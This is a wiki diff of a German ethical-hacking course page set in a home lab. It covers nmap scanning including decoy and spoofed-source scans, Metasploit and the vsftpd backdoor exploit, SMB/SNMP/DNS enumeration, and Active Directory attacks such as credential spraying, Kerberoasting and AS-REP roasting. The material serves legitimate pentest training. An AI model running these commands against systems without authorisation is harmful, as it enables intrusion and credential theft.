| FOTO | AUTO | EDV | AUDIO |

Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

Link zu dieser Vergleichsansicht

Nächste Überarbeitung
Vorhergehende Überarbeitung
edv:hacking:hack:start [15 50 2025 19 : 50] – angelegt - Externe Bearbeitung 127.0.0.1edv:hacking:hack:start [23 19 2026 20 : 19] (aktuell) André Reichert-Creutz
Zeile 1: Zeile 1:
-====== Ethical Hacking, der Komplettkurs ======+{{:edv:hacking:hack:eth_logo.png?600|}} 
 + 
 +<WRAP center round important 90%> 
 +**Rechtlicher Hinweis:** Alle hier beschriebenen Tools und Techniken dürfen ausschließlich in eigenen Laborumgebungen oder mit schriftlichereindeutig abgegrenzter Freigabe (Scope-Dokument, Auftrag) eingesetzt werden. Unbefugtes Eindringen in fremde Systeme, das Abfangen von Daten sowie bereits die Vorbereitung entsprechender Taten sind in Deutschland nach §§ 202a–202c StGB strafbar. Vor jedem Pentest gehören Scope, Zeitraum, Ansprechpartner und Haftungsfragen schriftlich fixiert. Diese Seite dient ausschließlich der eigenen Weiterbildung im isolierten Lab. 
 +</WRAP> 
 ===== Labor ===== ===== Labor =====
-Es werden Folgende Instanzen auf dem esxi benötigt:+Es werden folgende Instanzen auf dem ESXi benötigt:
   * Kali -> Dies wird das Arbeits-System   * Kali -> Dies wird das Arbeits-System
-  * Metasploitable 2 -> Ein unsicheres System zum Scannen (Nicht im Internet sichtbar!)+  * Metasploitable 2 -> Ein unsicheres System zum Scannen (nicht im Internet sichtbar!)
   * Win7 -> System um Windows-Hacks zu testen (idealerweise ohne Updates)   * Win7 -> System um Windows-Hacks zu testen (idealerweise ohne Updates)
   * Win10 -> um die Unterschiede zu Win7 zu zeigen   * Win10 -> um die Unterschiede zu Win7 zu zeigen
-  * Windows AD-Server für die AD und LDAP-Hacks +  * Windows AD-Server für die ADund LDAP-Hacks 
-  * Talis als Live CD -> Livesystem um unerkannt im Internet Daten zu sammeln+  * Tails als Live-CD -> Livesystem um unerkannt im Internet Daten zu sammeln
   * Aktueller Ubuntu Server -> DAU-Server um Dienste scannen zu können   * Aktueller Ubuntu Server -> DAU-Server um Dienste scannen zu können
  
-Um sowohl 32Bit wie auch 64Bit Systeme angreifen zu können muss auf Kali die wine 32Bit-Umgebung nachinstalliert werden: +Um sowohl 32-Bit- als auch 64-Bit-Systeme angreifen zu könnenmuss auf Kali die 32-Bit-Wine-Umgebung nachinstalliert werden: 
-  dpkg --add-architecture i386 && apt update && apt install wine32  +<code bash> 
-   +dpkg --add-architecture i386 && apt update && apt install wine32 
-Anmerkung: Ich verwende statt Kali lieber [[https://www.parrotsec.org/|Parrot OS]] \\ +</code> 
-==Exkurs VNC== + 
-  * Installation: <code bash> apt install tightvncserver </code> +Anmerkung: Ich verwende statt Kali lieber [[https://www.parrotsec.org/|Parrot OS]]. 
-  *  Konfiguration: <code bash> nano ~/.vnc/xstartup </code> \\+ 
 +==== Exkurs VNC ==== 
 +  * Installation: <code bash>apt install tightvncserver</code> 
 +  * Konfiguration: <code bash>nano ~/.vnc/xstartup</code> 
 <code bash> <code bash>
 #!/bin/sh #!/bin/sh
Zeile 27: Zeile 36:
 x-window-manager & x-window-manager &
 mate-session & mate-session &
-and just to be sure, we’ll make it executable 
 </code> </code>
-  * Ausführbar machen: <code bash> sudo chmod +x ~/.vnc/xstartup </code> 
  
-  * Erster Start: <code bash> vncserver </code> +  * Ausführbar machen: <code bash>sudo chmod +x ~/.vnc/xstartup</code> 
-  * Auf dem Client: <code bash> vncviewer 192.168.178.21:1 </code>+  * Erster Start: <code bash>vncserver</code> 
 +  * Auf dem Client: <code bash>vncviewer 192.168.178.21:1</code>
  
 ---- ----
  
- +==== Grundlagen ====
-==== Grundlagen ==== +
 |< 100% 20% >| |< 100% 20% >|
 ^  Begriffe  ^  ^ ^  Begriffe  ^  ^
-|  Exploit  |  Systematische Möglichkeit Schwachstellen auszunutzen +|  Exploit  |  Systematische MöglichkeitSchwachstellen auszunutzen 
-|  Zero Day Attack  |  Angriff, der eine Schwachstelle ausnutzt für die es keinen Patch gibt  | +|  Zero Day Attack  |  Angriff, der eine Schwachstelle ausnutztfür die es noch keinen Patch gibt  | 
-|  Vulnerability  |  Schwachstellen im Design oder Implementierung +|  Vulnerability  |  Schwachstelle im Design oder in der Implementierung 
-|  Payload  |  Der Teil des Exploit der die Aktion ausführt +|  Payload  |  Der Teil des Exploits, der die eigentliche Aktion ausführt 
-|  Hack Value  |  Die Belohnung des Hackers -> Schwere des Angriff/Schaden  | +|  Hack Value  |  Die "Belohnungdes Hackers -> Schwere des Angriffs/Schadens  | 
-|  Bot  |  Ein Bot ist ein Stück Software +|  Bot  |  Ein Bot ist ein Stück Software, das automatisiert Aufgaben ausführt  | 
-|  Daisy Chaining  |  Die Möglichkeit ein infiziertes System als Sprungbrett zu verwenden +|  Daisy Chaining  |  Die Möglichkeitein infiziertes System als Sprungbrett zu verwenden 
-|  Doxing  |  Veröffentlichen von komprimierenden Daten -> Cybermobbing  |+|  Doxing  |  Veröffentlichen kompromittierender Daten -> Cybermobbing  |
  
 |< 100% 20% >| |< 100% 20% >|
 ^  Schutzziele  ^ ^ ^  Schutzziele  ^ ^
-|  Vertraulichkeit  |  Daten dürfen nur von Autorisierten Personen genutzt werden  |+|  Vertraulichkeit  |  Daten dürfen nur von autorisierten Personen genutzt werden  |
 |  Integrität  |  Daten dürfen nicht unbemerkt verändert werden  | |  Integrität  |  Daten dürfen nicht unbemerkt verändert werden  |
 |  Verfügbarkeit  |  Zugriff auf Daten muss im vereinbarten Zeitraum möglich sein  | |  Verfügbarkeit  |  Zugriff auf Daten muss im vereinbarten Zeitraum möglich sein  |
-|  Autentizität  |  Die Bestätigung der Echtheit und Vertrauenswürdigkeit von Daten  |+|  Authentizität   Bestätigung der Echtheit und Vertrauenswürdigkeit von Daten  |
 |  Verbindlichkeit  |  Stellt die Nicht-Abstreitbarkeit von Handlungen sicher  | |  Verbindlichkeit  |  Stellt die Nicht-Abstreitbarkeit von Handlungen sicher  |
-|  Zurechnebarkeit   Handlungen können immer einem Benutzer zugeordnet werden  |+|  Zurechenbarkeit   Handlungen können immer einem Benutzer zugeordnet werden  |
  
 ==== Bedrohungen im Überblick ==== ==== Bedrohungen im Überblick ====
Zeile 68: Zeile 75:
 torbrowser-launcher torbrowser-launcher
 </code> </code>
-<sup> +<sup>
 Siehe: https://computingforgeeks.com/installing-tor-browser-on-linux-mint-ubuntu/ Siehe: https://computingforgeeks.com/installing-tor-browser-on-linux-mint-ubuntu/
 </sup> </sup>
  
 ==== Seiten im Darknet finden ==== ==== Seiten im Darknet finden ====
-Webseiten aus dem Darknet enden oft mit *.onion Diese Seiten findet man als Liste unter +Webseiten aus dem Darknet enden oft mit *.onionDiese Seiten findet man als Liste unter (Stand prüfen – .onion-Adressen ändern sich häufig und werden gelegentlich von Betrügern übernommen, daher Links vor Nutzung verifizieren): 
-  *[[http://thehiddenwiki.org/|The hidden Wiki]] +  * [[http://thehiddenwiki.org/|The Hidden Wiki]] 
-  *[[http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page| Uncensored Hidden Wiki]] +  * [[http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page|Uncensored Hidden Wiki]] 
-  *[[http://torlinkbgs6aabns.onion/|TorLinks]] -> [[http://zbnnr7qzaxlk5tms.onion/|Wiki Leaks]]+  * [[http://torlinkbgs6aabns.onion/|TorLinks]] -> [[http://zbnnr7qzaxlk5tms.onion/|Wiki Leaks]]
  
 ===== Hidden Surfing ===== ===== Hidden Surfing =====
 Tails: https://tails.boum.org/install/index.de.html Tails: https://tails.boum.org/install/index.de.html
- 
  
 ---- ----
  
- +====== Vulnerability Management (VM) ======
-====== Vulnerability Management (VM) =====+
 {{ :andre:schulung:hacking:advantio_blogseries_vulnmanagement_01_diagram_v1.1.png?400 |}} {{ :andre:schulung:hacking:advantio_blogseries_vulnmanagement_01_diagram_v1.1.png?400 |}}
 Unter Vulnerability Management versteht man eine Methode der immer wiederkehrenden Sicherheitsanalyse. Nachdem die Vorbereitungen einmal getroffen wurden und der Vulnerability-Assessment-Lifecycle eingerichtet ist, kann ein Pentest mit Auswertung und Fehlerbehebung stark automatisiert werden. Dazu sind nötig: Unter Vulnerability Management versteht man eine Methode der immer wiederkehrenden Sicherheitsanalyse. Nachdem die Vorbereitungen einmal getroffen wurden und der Vulnerability-Assessment-Lifecycle eingerichtet ist, kann ein Pentest mit Auswertung und Fehlerbehebung stark automatisiert werden. Dazu sind nötig:
 +
 ==== Vorbereitungen ==== ==== Vorbereitungen ====
   * Rollen und Verantwortungen der Mitarbeiter festlegen   * Rollen und Verantwortungen der Mitarbeiter festlegen
   * Was soll geprüft werden (Systeme, Dienste, Netzwerk)   * Was soll geprüft werden (Systeme, Dienste, Netzwerk)
   * Welche Tools sollen verwendet werden   * Welche Tools sollen verwendet werden
-  * Erstellen von SLAs uns Policies +  * Erstellen von SLAs und Policies
-Nachdem also festgelegt wurde wer was und womit getestet werden soll kann dies dokumentiert werden. So ist auch rechtlich der Pentest abgesichert. +
  
 +Nachdem also festgelegt wurde, wer was und womit getestet werden soll, kann dies dokumentiert werden. So ist auch rechtlich der Pentest abgesichert (siehe Hinweis am Seitenanfang).
  
 ==== Assess (Beurteilung) ==== ==== Assess (Beurteilung) ====
-In diesem Schritt erden die Scans durchgeführt, bewertet und ein Report erstellt +In diesem Schritt werden die Scans durchgeführt, bewertet und ein Report erstellt
-==== Priorize (Priorisieren)==== + 
-Die im Report dokumentierten Schwachstellen werden bewertet  +==== Priorize (Priorisieren) ==== 
-  * Höhe des Risiko+Die im Report dokumentierten Schwachstellen werden bewertet: 
 +  * Höhe des Risikos
   * Aufwand und Kosten der Behebung   * Aufwand und Kosten der Behebung
   * Mögliche Folgen der Behebung   * Mögliche Folgen der Behebung
 +
 ==== Act (Ausführen) ==== ==== Act (Ausführen) ====
-Je nach Priorität werden die gefundenen Schwachstellen behandelt+Je nach Priorität werden die gefundenen Schwachstellen behandelt:
   * Hohes Risiko -> Fehler schnell beheben   * Hohes Risiko -> Fehler schnell beheben
   * Geringes Risiko -> Können wir mit der Bedrohung leben?   * Geringes Risiko -> Können wir mit der Bedrohung leben?
-  * Hoher Aufwand -> Können wir die Mittel den Fehler zu beheben beschaffen?  +  * Hoher Aufwand -> Können wir die Mittel zur Fehlerbehebung beschaffen? 
-  * Geringer Aufwand -> Direkt umsetzten+  * Geringer Aufwand -> Direkt umsetzen 
 + 
 +==== Beispiel: Reporting-Vorlage ==== 
 +Ein minimaler Pentest-Report sollte mindestens enthalten: 
 +  * **Executive Summary** (1 Seite, für Management, ohne Technikjargon) 
 +  * **Scope & Methodik** (getestete Systeme, Zeitraum, verwendete Tools, Ausschlüsse) 
 +  * **Findings-Tabelle**: ID, Titel, betroffenes System, CVSS-Score, Risiko (kritisch/hoch/mittel/niedrig), Beschreibung, Proof of Concept, Empfehlung 
 +  * **Priorisierte Maßnahmenliste** nach Aufwand/Risiko-Matrix 
 +  * **Anhang** mit Rohdaten (Scan-Ausgaben, Screenshots) 
 + 
 +Bewährte Kategorisierung nach CVSS: 9.0–10.0 kritisch, 7.0–8.9 hoch, 4.0–6.9 mittel, 0.1–3.9 niedrig.
  
 ====== Informationsbeschaffung ====== ====== Informationsbeschaffung ======
 ^ URL ^ Name ^ Funktion / Inhalt ^  ^ ^ URL ^ Name ^ Funktion / Inhalt ^  ^
-| https://searchdns.netcraft.com/ | Netcraft | Search Web by Domain | +| https://searchdns.netcraft.com/ | Netcraft | Search Web by Domain |  
-| https://www.whatsmydns.net/ | WhatsMyDNS | Prüfe die Domainverfügbarkeit weltweit | +| https://www.whatsmydns.net/ | WhatsMyDNS | Prüft die Domainverfügbarkeit weltweit |  
-| https://dnsdumpster.com/ | DNS Dumpster | DNS Enumeration | +| https://dnsdumpster.com/ | DNS Dumpster | DNS Enumeration |  
-| http://web.archive.org/ | WebArchive | Internet Archiv (Wayback Machine) | +| http://web.archive.org/ | WebArchive | Internet-Archiv (Wayback Machine) |  
-| https://www.shodan.io/ \\ https://beta.shodan.io/search/examples | Shodan \\ Filter | Web Browser mit zusätzlichen Filterfunktionen \\ Beispiele| {{ :andre:schulung:hacking:zusatzmaterial_07-59_shodan.pdf |}} | +| https://www.shodan.io/ \\ https://beta.shodan.io/search/examples | Shodan \\ Filter | Web-Browser mit zusätzlichen Filterfunktionen \\ Beispiele | {{ :andre:schulung:hacking:zusatzmaterial_07-59_shodan.pdf |}} | 
-| https://webmii.com/ \\ http://www.yasni.de/ \\ https://www.identcheck.net/ | webmii \\ Yasni \\ Argus | Personensuchdienste | +| https://webmii.com/ \\ http://www.yasni.de/ \\ https://www.identcheck.net/ | webmii \\ Yasni \\ Argus | Personensuchdienste |  
-| https://www.blogmojo.de/google-suchoperatoren/ | Blogmojo | Liste der Google Suchoperatoren (Google Hacking) | +| https://www.blogmojo.de/google-suchoperatoren/ | Blogmojo | Liste der Google-Suchoperatoren (Google Hacking) |  
-| https://www.exploit-db.com/google-hacking-database | GHDB | Google Dork Database | +| https://www.exploit-db.com/google-hacking-database | GHDB | Google Dork Database |  
-| https://www.nmmapper.com/ | Nmapper | Kostenpflichtige Toolsammlung | +| https://www.nmmapper.com/ | Nmapper | Kostenpflichtige Toolsammlung |  
-| https://viewdns.info/ | ViewDNS | kostenfreie Toolsammlung |+| https://viewdns.info/ | ViewDNS | Kostenfreie Toolsammlung |  |
  
 ===== Scanning ===== ===== Scanning =====
-Methoden: +Methoden:\\ 
-Host-Discovery -> Portscan -> Dienst und OS-Erkennung -> Vulnerability-Scan+Host-Discovery -> Portscan -> Dienstund OS-Erkennung -> Vulnerability-Scan
   * Umgehen von Firewalls   * Umgehen von Firewalls
   * Banner Grabbing   * Banner Grabbing
-  * Einsatz von Proxies und Anonymisierer+  * Einsatz von Proxies und Anonymisierern
  
 ==== Das OSI-Modell ==== ==== Das OSI-Modell ====
 {{ :andre:schulung:hacking:osi.png?800 |}} {{ :andre:schulung:hacking:osi.png?800 |}}
  
-===== Enemeration =====+===== Enumeration =====
  
-==== nmap ====+==== nmap (Grundlagen) ====
 ^ Name ^ Scan ^ Beschreibung ^ ^ Name ^ Scan ^ Beschreibung ^
-| Standard Subnet-Scan (Ping) | nmap -sL 192.168.178.0/24 | Stealth Ping Scan | +| Standard Subnet-Scan (Ping) | nmap -sn 192.168.178.0/24 | Ping-Scan ohne Portscan | 
-| Standard Portscan | nmap -sS  \\ nmap -sU -p 53,69,111 <Ziel-IP> --reason | UDP mit Reason | +| List Scan | nmap -sL 192.168.178.0/24 | Listet nur Hosts per DNS auf, es werden keinerlei Pakete verschickt 
-| Ack Scan | nmap -sA | wird von Firewall gefiltert? +| Standard Portscan (TCP SYN) | nmap -sS <Ziel-IP> | Stealth-Scan (halboffen) | 
-IP-ID-Scan | nmap -Pn -p- <Zombie-IP> <Ziel-IP> -d | Portscan über Zombie Jumphost |+| UDP-Scan | nmap -sU -p 53,69,111 <Ziel-IP> --reason | UDP-Scan mit Angabe des Reason-Felds 
 +| Ack Scan | nmap -sA <Ziel-IP> Prüft, ob eine Firewall filtert 
 +Idle/Zombie-Scan | nmap -Pn -sI <Zombie-IP> <Ziel-IP> -d | Portscan über einen Zombie-Jumphost, tarnt die eigene IP |
 | Diensterkennung | nmap <Ziel-IP> -sV | Erkennt meist auch die Version | | Diensterkennung | nmap <Ziel-IP> -sV | Erkennt meist auch die Version |
 | OS-Erkennung | nmap <Ziel-IP> -O |  | | OS-Erkennung | nmap <Ziel-IP> -O |  |
-| Decoy Scan | nmap -D <Fake-IP1,Fake-IP2,Fake-IPn>,ME,<Own-IP> <Tiel-IP> | Decoy = Fake (idealerweise 6+ Decoys) | +| Decoy Scan | nmap -D <Fake-IP1>,<Fake-IP2>,...,ME,<Own-IP> <Ziel-IP> | Decoy = Fake-Absender (idealerweise 6+ Decoys) | 
-Spoof | nmap -<Fake-IP> <Ziel-IP> |+Source-Spoofing | nmap -<Fake-IP> -e <interface> -Pn <Ziel-IP> | Großes -S für Spoofing der Quell-IP; Antworten kommen nicht bei einem selbst an |
 | Textausgabe | nmap -oG <Name.txt> <Ziel-IP> | Grepable Ausgabe in Datei | | Textausgabe | nmap -oG <Name.txt> <Ziel-IP> | Grepable Ausgabe in Datei |
-| XML | nmap -oX <Name.xml> <Ziel-IP> --webxml | via Webbrowser darstellbar | +| XML-Ausgabe | nmap -oX <Name.xml> <Ziel-IP> --webxml | Im Webbrowser darstellbar | 
-| Best Practice | nmap -A -T4 -F -v <Ziel-IP> |  +| Best Practice | nmap -A -T4 -F -v <Ziel-IP> | Aggressiv, Timing 4, schnell, verbose | 
-**Nmap Scripte**\\+ 
 +**Nmap-Scripte**\\
 Pfad: /usr/share/nmap/scripts Pfad: /usr/share/nmap/scripts
-| Einzelne *.nse ausführen | nmap --script <script1>,<script2> <Ziel-IP>+^ Aktion ^ Befehl ^ Anmerkung ^ 
-| Alle Scripte | nmap --script /usr/share/nmap/scripts <Ziel-IP> | Dauert sehr lange (-T insane)|+| Einzelne *.nse ausführen | nmap --script <script1>,<script2> <Ziel-IP> |  
 +| Alle Scripte | nmap --script /usr/share/nmap/scripts <Ziel-IP> | Dauert sehr lange (ggf. -T insane) |
  
 ==== Metasploit (msf) ==== ==== Metasploit (msf) ====
-{{:andre:schulung:hacking:das_metasploit_framework.pdf|Das Metasploit Framework}} \\+{{:andre:schulung:hacking:das_metasploit_framework.pdf|Das Metasploit Framework}} 
 == Einrichten == == Einrichten ==
-  systemctl start postgresql     # Datenbank starten +<code bash> 
-  systemctl enable postgresql    # Autostart der DB +systemctl start postgresql     # Datenbank starten 
-  msfdb init                     # Initiierung +systemctl enable postgresql    # Autostart der DB 
-  msfconsole                     # msf Konsole starten +msfdb init                     # Initiierung 
-  db_status                      # DB abfragen +msfconsole                     # msf-Konsole starten 
-  workspace -a Lab               # Workspace anlegen +db_status                      # DB abfragen 
-  workspace                      # Workspaces listen +workspace -a Lab                # Workspace anlegen 
-  workspace -h                   # Zeigt die Hilfe für workspace +workspace                      # Workspaces listen 
-  +workspace -h                   # Zeigt die Hilfe für workspace 
-== Backup ==  +</code> 
-  db_export -f xml /root/msfdb_backup     # erstellt ein db-Backup + 
-  +== Backup == 
 +<code bash> 
 +db_export -f xml /root/msfdb_backup     # erstellt ein DB-Backup 
 +</code> 
 == Kommandos == == Kommandos ==
-  msfconsole                     # startet msf +<code bash> 
-  workspace Lab                  # In Workspace wechseln +msfconsole                     # startet msf 
-  show                           # Listet alle Module +workspace Lab                  # In Workspace wechseln 
-  show auxiliary                 # Zeigt Module einer Kategorie +show                           # Listet alle Module 
-  search scanner                 # Sucht alle Scanningmodule +show auxiliary                 # Zeigt Module einer Kategorie 
-Ein Modul verwenden (hier: ssh_version)   +search scanner                 # Sucht alle Scanning-Module 
-  use auxiliary/scanner/ssh/ssh_version   # Ein Modul zur Verwendung laden (info options) +</code> 
-    set rhosts <Ziel-IP>                  # Ziel setzten  + 
-    run                                   # Start +Ein Modul verwenden (hier: ssh_version)
-    hosts                                 # Zeigt gefundene Hosts in der DB +<code bash> 
-    services                              # Zeigt gefundene Dienste in der DB +use auxiliary/scanner/ssh/ssh_version   # Modul zur Verwendung laden (info/options) 
-     +set rhosts <Ziel-IP>                     # Ziel setzen 
-nmap verwenden +run                                      # Start 
-  db_nmap -T4 -A -v 192.168.178.0/24      # Verwendet einen nmap-Scan und speichert Ergebnis in der msf-DB +hosts                                    # Zeigt gefundene Hosts in der DB 
-  db_nmap -sU -p161 192.168.178.0/24 --open     # SNMP-Agent Scan +services                                 # Zeigt gefundene Dienste in der DB 
-   +</code> 
-Sploits suchen + 
-  searchsploit Local Priv | wc -l            # Zeigt Menge an gefundenen Treffer zu "Local Priv" Sploits    +nmap aus msf heraus verwenden
-  searchsploit Local Priv |grep -i ubuntu    # Schränkt die Suche um Treffer mit "ubuntu" ein +<code bash> 
-==== NetBIOS Enemeration ==== +db_nmap -T4 -A -v 192.168.178.0/24         # Verwendet einen nmap-Scan und speichert das Ergebnis in der msf-DB 
-  nbtscan -r 192.168.178.0/24 +db_nmap -sU -p161 192.168.178.0/24 --open  # SNMP-Agent-Scan 
-  enum4linux -v <Ziel-IP>x +</code> 
-  nmap -p 139,445 --script "smb-enum*" <Ziel-IP> + 
-   +Sploits suchen
-==== SNMP Enemeration ==== +<code bash> 
-nmap-Scripte für einen SNMP-Scan: ls /usr/share/nmap/scripts/ | grep snmp +searchsploit Local Priv | wc -l            # Zeigt Menge der gefundenen Treffer zu "Local Priv" Sploits 
-  nmap -sU -p 161 --script "snmp*" <Ziel-IP> +searchsploit Local Priv | grep -i ubuntu   # Schränkt die Suche auf Treffer mit "ubuntu" ein 
-   +</code> 
-msf  + 
-  use auxiliary/scanner/snmp/snmp_enum +==== NetBIOS-Enumeration ==== 
-  options +<code bash> 
-  set rhosts <Ziel-IP> +nbtscan -r 192.168.178.0/24 
-   +enum4linux -v <Ziel-IP> 
-onesixtyone +nmap -p 139,445 --script "smb-enum*" <Ziel-IP> 
-  vim community.list        # Datei mit SNMP Community-Strings erstellen +</code> 
-  for ip in $(seq 1 254); do echo 192.168.178.$ip;done > ip_address-list    # IP Liste + 
-  onesixtyone -c community.list -i ip_address-list -d +==== SNMP-Enumeration ==== 
 +nmap-Scripte für einen SNMP-Scan: <code bash>ls /usr/share/nmap/scripts/ | grep snmp</code> 
 +<code bash> 
 +nmap -sU -p 161 --script "snmp*" <Ziel-IP> 
 +</code> 
 + 
 +msf
 +<code bash> 
 +use auxiliary/scanner/snmp/snmp_enum 
 +options 
 +set rhosts <Ziel-IP> 
 +</code> 
 + 
 +onesixtyone
 +<code bash> 
 +vim community.list        # Datei mit SNMP-Community-Strings erstellen 
 +for ip in $(seq 1 254); do echo 192.168.178.$ip; done > ip_address-list    # IP-Liste erzeugen 
 +onesixtyone -c community.list -i ip_address-list -d 
 +</code>
  
 ==== LDAP ==== ==== LDAP ====
-Zusatzmaterial: {{:andre:schulung:hacking:zusatzmaterial_13-18_konfiguration_eines_ad-domain_controllers_auf_w2k12r2.pdf|Konfiguration eines AD-Controller}}+Zusatzmaterial: {{:andre:schulung:hacking:zusatzmaterial_13-18_konfiguration_eines_ad-domain_controllers_auf_w2k12r2.pdf|Konfiguration eines AD-Controllers}}
 {{ :andre:schulung:hacking:jxplorer.png?400|jxplorer}} {{ :andre:schulung:hacking:jxplorer.png?400|jxplorer}}
-nmap + 
-  nmap -O -sV -p 389,636 --open <Ziel-IP> +<code bash> 
-   +nmap -O -sV -p 389,636 --open <Ziel-IP> 
-jxplorer +</code> 
-  apt install jxplorer     # Instalation on Kali + 
-  jxplorer                 # Startet das Tool +jxplorer
-  +<code bash> 
 +apt install jxplorer     # Installation auf Kali 
 +jxplorer                 # Startet das Tool 
 +</code> 
 + 
 +==== Active Directory – vertiefte Enumeration ==== 
 +Zusätzlich zur reinen LDAP-Abfrage lohnt sich der Einsatz spezialisierter AD-Tools, sobald ein Domain-Controller im Lab steht: 
 + 
 +  * **BloodHound** – visualisiert AD-Vertrauensbeziehungen und Angriffspfade (z. B. zum Domain Admin) 
 +<code bash> 
 +apt install bloodhound 
 +neo4j console                 # Graphdatenbank starten, danach im Browser unter 127.0.0.1:7474 einloggen 
 +bloodhound                    # Startet die GUI 
 +</code> 
 +  Sammler-Tool auf dem Zielsystem bzw. remote per Python: SharpHound (Windows) oder BloodHound.py (Linux, benötigt gültige Domain-Credentials). 
 + 
 +  * **CrackMapExec (bzw. NetExec als Nachfolger)** – SMB/AD-Enumeration, Credential-Spraying, Ausführung von Kommandos über gültige Anmeldedaten 
 +<code bash> 
 +crackmapexec smb 192.168.178.0/24 -u user -p password 
 +crackmapexec smb <Ziel-IP> -u user -p password --shares 
 +</code> 
 + 
 +  * **Kerberoasting** – Service-Ticket-Anfrage für Accounts mit SPN, Hash offline crackbar 
 +<code bash> 
 +impacket-GetUserSPNs domain.local/user:password -dc-ip <DC-IP> -request 
 +hashcat -m 13100 hashes.txt rockyou.txt 
 +</code> 
 + 
 +  * **AS-REP Roasting** – betrifft Accounts ohne Kerberos-Pre-Authentication 
 +<code bash> 
 +impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC-IP> 
 +</code> 
 + 
 +Fazit: AD-Angriffe zielen selten auf einzelne Exploits, sondern auf die Verkettung kleiner Rechte-/Trust-Schwachstellen (Daisy Chaining, siehe Grundlagen-Tabelle) bis zum Domain Admin. 
 ==== SMTP ==== ==== SMTP ====
-Email Enemaration +E-Mail-Enumeration: 
-  Via telnet Port 25 zum Mailserver verbinden +  Via Telnet Port 25 zum Mailserver verbinden 
-  RCPT TO   = Recipient to +  RCPT TO = Recipient To 
-  VRFY      = Verify +  VRFY = Verify 
-  EXPN      = Expand +  EXPN = Expand 
-   + 
-smtp-user-enum +smtp-user-enum: 
-  erstelle Datei mailuser.txt  -> pro Zeile eine Mailadresse +<code bash> 
-  smtp-user-enum -M VRFY -U mailuser.txt -t <Ziel-IP> +Datei mailuser.txt erstellen -> pro Zeile eine Mailadresse 
-  +smtp-user-enum -M VRFY -U mailuser.txt -t <Ziel-IP> 
 +</code> 
 ==== DNS ==== ==== DNS ====
-  unter msf: db_nmap -sU -sS -p 53 <Ziel-Netz> --open +Unter msf: <code bash>db_nmap -sU -sS -p 53 <Ziel-Netz> --open</code> 
-   + 
-Zonentransfer +Zonentransfer
-  dnsrecon -n <Ziel-IP> -d <domainname>                                # Liest Zonentransfer Daten aus +<code bash> 
-  dnsrecon -n <Ziel-IP> -r 192.168.178.1-192.168.178.254 -d fritz.box  # Liste aller bekannten Domain-Hosts +dnsrecon -n <Ziel-IP> -d <domainname>                                  # Liest Zonentransfer-Daten aus 
-  +dnsrecon -n <Ziel-IP> -r 192.168.178.1-192.168.178.254 -d fritz.box    # Liste aller bekannten Domain-Hosts 
 +</code> 
 ==== FTP ==== ==== FTP ====
-  starte msf +<code bash> 
-  use exploit/unix/ftp/vsftpd_234_backdoor +msfconsole 
-  set rhost <Ziel-IP> +use exploit/unix/ftp/vsftpd_234_backdoor 
-  run +set rhost <Ziel-IP> 
-   +run 
-   +</code> 
-===== Vulnability-Scanner ====== + 
-<color green>✔</color> Schneller umfassender Test \\ +===== Vulnerability-Scanner ===== 
-<color green>✔</color> Meist ist die Ausgabe gut aufbereitet\\+<color green>✔</color> Schnellerumfassender Test\\ 
 +<color green>✔</color> Ausgabe meist gut aufbereitet\\
 <color green>✔</color> Kann ohne tiefes Fachwissen ausgeführt werden\\ <color green>✔</color> Kann ohne tiefes Fachwissen ausgeführt werden\\
 <color red>✘</color> Ein sehr "lauter" Scan, der schnell auffällt\\ <color red>✘</color> Ein sehr "lauter" Scan, der schnell auffällt\\
 <color red>✘</color> Durch die Voreinstellung in der Regel wenig konfigurierbar\\ <color red>✘</color> Durch die Voreinstellung in der Regel wenig konfigurierbar\\
-<color red>✘</color> Das Netz und die Dienste werden zum Teil hoch belastet -> Gefahr von Ausfall\\ +<color red>✘</color> Netz und Dienste werden zum Teil hoch belastet -> Gefahr von Ausfall\\ 
-<color red>✘</color> Gefahr von falschen Aussagen die aufgrund der Automatisierung vorkommen können \\+<color red>✘</color> Gefahr von Falschaussagen, die aufgrund der Automatisierung vorkommen können 
 ==== nmap ==== ==== nmap ====
-  nmap --script vuln <Ziel-IP>+<code bash> 
 +nmap --script vuln <Ziel-IP
 +</code>
  
 ==== GVM ==== ==== GVM ====
-Installation auf Ubuntu (https://www.xinux.net/index.php/GVM_Installation) \\ +Installation auf Ubuntu (https://www.xinux.net/index.php/GVM_Installation)\\ 
-Installation auf Kali https://www.linuxmaker.com/linux/kali-linux-openvas.html und https://www.agix.com.au/installing-openvas-on-kali-in-2020/ +Installation auf Kalihttps://www.linuxmaker.com/linux/kali-linux-openvas.html und https://www.agix.com.au/installing-openvas-on-kali-in-2020/\\ 
-Installation auf Ubuntuserver https://www.libellux.com/openvas/#configuration-files und https://pentestit.de/gvm-20-08-auf-ubuntu-server-20-04-installieren/ \\+Installation auf Ubuntu Server: https://www.libellux.com/openvas/#configuration-files und https://pentestit.de/gvm-20-08-auf-ubuntu-server-20-04-installieren/
  
 <sup>Anmerkung: GVM ist der Nachfolger von OpenVAS</sup> <sup>Anmerkung: GVM ist der Nachfolger von OpenVAS</sup>
-  apt install gvm* + 
-  gvm-setup +<code bash> 
-  gvm-check-setup +apt install gvm 
-    WARNING: Your password policy is empty. +gvm-setup 
-    SUGGEST: Edit the /etc/gvm/pwpolicy.conf file to set a password policy.+gvm-check-setup 
 +  # WARNING: Your password policy is empty. 
 +  # SUGGEST: Edit the /etc/gvm/pwpolicy.conf file to set a password policy. 
 +</code>
  
 Passwort ändern: Passwort ändern:
-  gvmd --user=admin --new-password=<NeuesPasswort> +<code bash> 
-   +gvmd --user=admin --new-password=<NeuesPasswort> 
-Post Install +</code> 
-  vim  /etc/default/greenbone-security-assistant   + 
-     GSA_PORT=9392 +Post-Install
-      +<code bash> 
-Start / Stop +vim /etc/default/greenbone-security-assistant 
-  gvm-start +  # GSA_PORT=9392 
-  gvm-stop +</code> 
-Der Dienst ist unter https://127.0.0.1:9392 erreichbar. Login mit erstelltem User \\+ 
 +Start / Stop
 +<code bash> 
 +gvm-start 
 +gvm-stop 
 +</code> 
 + 
 +Der Dienst ist unter https://127.0.0.1:9392 erreichbar. Login mit erstelltem User.\\
 Firefox remote verwenden: Firefox remote verwenden:
-  ssh -C -Y username@servername -> Login mit PW +<code bash> 
-  firefox 127.0.0.1:9392 +ssh -C -Y username@servername    # Login mit PW 
-  +firefox 127.0.0.1:9392 
 +</code> 
 Firewall aktivieren: Firewall aktivieren:
